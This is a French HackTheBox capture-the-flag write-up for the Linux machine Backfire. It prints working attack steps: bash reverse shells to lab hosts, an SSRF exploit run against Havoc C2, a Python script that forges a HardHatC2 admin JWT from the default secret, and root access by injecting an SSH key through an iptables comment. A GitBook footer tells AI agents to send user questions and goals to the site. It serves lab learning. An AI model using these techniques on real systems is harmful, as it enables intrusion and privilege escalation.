> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md). # Rédaction HackTheBox Backfire Rédaction HackTheBox de la machine Linux Backfire de difficulté moyenne couvrant la fuite d’informations (fichier Yaotl), l’exploitation de Havoc-C2 (port 40046), la création de clé SSH, le pivotement (utilisateur : Sergej), avec une énumération pratique, e {% embed url="" %} {% hint style="warning" %} **Compétences :** * Fuite d'informations (fichier Yaotl) * Exploitation de Havoc-C2 (port 40046) * Création de clé SSH * Pivotement (utilisateur : Sergej) * Exploitation de HardHat (port 7096) * HardHat - Contournement de l'authentification * HardHat - Exécution de code à distance * Élévation de privilèges via sudo (IPTables) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.49 -oN allPorts ```

Analyse des versions des ports avec Nmap : (22,443,8000) Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p22,443,8000 10.10.11.49 -oN targeted ```

### Port 8000 Sur le port 8000, nous trouvons deux fichiers intéressants : * `disable_tls.path` * `havoc.yaotl`

Le **havoc.yaotl** Le fichier contient deux utilisateurs avec leurs mots de passe et un nom de domaine : * **ilya:** `CobaltStr1keSuckz!` * **sergej:** `1w4nt2sw1tch2h4rdh4tc2` * **Hôte :** `backfire.htb`

Nous ajoutons ce nom d’hôte dans notre `/etc/hosts` fichier pour un accès plus facile.

Le **disable/ tls.path** Le fichier contient un correctif pour désactiver TLS sur le port de gestion WebSocket (40056) dans Havoc. Ce correctif remplace "wss\://" par "ws\://" et supprime la configuration SSL pour le client et le serveur. L'auteur justifie ce changement en précisant que ce port n'accepte que des connexions locales via le transfert SSH, ce qui réduit les risques de sécurité. Ce correctif semble aussi être une pointe d'ironie envers l'utilisateur **sergej**travail rapide.

## Port 40046 Havoc-C2 {% embed url="" %} Pour exploiter la vulnérabilité SSRF dans Havoc, nous créons un `payload.sh` fichier contenant le code suivant : ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.254/4444 0>&1 ``` Ensuite, nous configurons un serveur web pour héberger notre payload avec la commande suivante : ```bash python3 -m http.server 80 ``` Nous écoutons ensuite sur le port 4444 avec netcat pour recevoir la connexion inverse : ```bash nc -nlvp 4444 ``` Nous modifions le script pour inclure les informations pertinentes, puis lançons l'exploit avec la commande suivante :

```bash python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056 ``` **Accès utilisateur :** L’utilisateur **ilya** vous permet de vous connecter à la machine cible.

#### Stabilisation du terminal

script /dev/null -c bash
Appuyez sur `Ctrl+Z`, puis stabilisez le terminal :

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184

### Drapeau user.txt

Nous observons qu'une tâche cron expulse notre session toutes les 2 minutes. Pour contourner ce problème, nous allons créer des clés SSH. ### **Création de clés SSH :** Nous générons une nouvelle clé SSH avec la commande suivante : {% code overflow="wrap" %} ```bash ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa ``` {% endcode %}

Nous modifions ensuite le `authorized_keys` fichier pour ajouter notre clé publique : {% code overflow="wrap" %} ```bash echo "YOU KEY" | tee -a ~/.ssh/authorized_keys ``` {% endcode %}

Nous nous connectons ensuite à la machine cible via SSH : ```bash ssh ilya@backfire.htb ```

### **Passage à l'utilisateur Sergej** Dans le répertoire de l'utilisateur `ilya`, nous trouvons un fichier `hardhat.txt` contenant le message suivant : > Sergej a dit qu'il avait installé HardHatC2 pour des tests et n'avait pas changé les paramètres par défaut. J'espère qu'il préfère Havoc car je n'ai pas envie d'apprendre un autre framework C2, et Go

Nous examinons les ports internes avec le `netstat` commande : ```bash netstat -tuln ``` Les ports 5000 et 7096 semblent particulièrement intéressants.

**Redirection de ports :** Nous effectuons une redirection de ports avec SSH pour accéder aux services internes : ```bash ssh -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096 ilya@backfire.htb ``` ## **Port 7096 - CMS HardHatC2 :** Sur le port 7096, nous trouvons le CMS HardHat.

### **Contournement de l'authentification HardHat C2** {% embed url="" %} Nous utilisons le script suivant pour contourner l'authentification et créer un nouvel utilisateur : ```python import jwt import datetime import uuid import requests rhost = '127.0.0.1:5000' # Générer un JWT d’administrateur secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq" issuer = "hardhatc2.com" now = datetime.datetime.utcnow() expiration = now + datetime.timedelta(days=28) payload = { "sub": "HardHat_Admin", "jti": str(uuid.uuid4()), "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1", "iss": issuer, "aud": issuer, "iat": int(now.timestamp()), "exp": int(expiration.timestamp()), "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator" } token = jwt.encode(payload, secret, algorithm="HS256") print("JWT généré :") print(token) # Utiliser le JWT d’administrateur pour créer un nouvel utilisateur 'sth_pentest' en tant que TeamLead burp0_url = f"https://{rhost}/Login/Register" burp0_headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } burp0_json = { "password": "jordan12345", "role": "TeamLead", "username": "jordan" } r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False) print(r.text) ``` Le script génère l'utilisateur `jordan` avec le rôle `TeamLead`.

### Hardhat C2 (RCE) Sur la `ImplantInteract` partie, nous avons accès à un terminal. En exécutant la `whoami` commande, nous voyons que nous sommes connectés en tant qu'utilisateur `sergej`.

Nous établissons un shell inversé pour l'utilisateur `sergej` en écoutant sur le port 443 : ```bash nc -nlvp 443 ``` Et exécutons la commande suivante pour établir la connexion inverse ```bash bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1" ``` Une fois connectés, nous ajoutons notre clé SSH à `authorized_keys` pour pouvoir nous reconnecter facilement :

```bash echo "your key" | tee -a ~/.ssh/authorized_keys ``` ## **Élévation de privilèges :** ### **Sudo - IP-Tables** **Vérification des droits sudo** Nous commençons par vérifier les droits sudo disponibles sur la machine : ```bash sudo -l ```

Nous découvrons que l'utilisateur dispose de `sudo` droits sans mot de passe pour les commandes suivantes : * `/usr/sbin/iptables` * `/usr/sbin/iptables-save` **Génération d'une paire de clés SSH** Nous générons une paire de clés SSH pour injecter notre clé publique dans les fichiers d'authentification de root : ```bash ssh-keygen -t ed25519 ``` Voici la clé publique générée : {% code overflow="wrap" %} ``` ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot ``` {% endcode %} **Injection de la clé publique dans iptables** Nous utilisons le `--comment` champ de `iptables` pour injecter notre clé publique dans une règle {% code overflow="wrap" %} ```bash sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot/n' ``` {% endcode %} Nous vérifions que la règle a bien été ajoutée : ```bash sudo /usr/sbin/iptables -L ```

**Enregistrer dans le fichier authorized/\_keys** Nous enregistrons les règles iptables dans un fichier qui sera utilisé comme fichier de l'utilisateur root `authorized_keys` fichier : ```bash sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys2 ``` **Connexion en tant que root** Enfin, nous pouvons nous connecter via SSH en tant que root : ```bash ssh root@backfire.htb ```

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.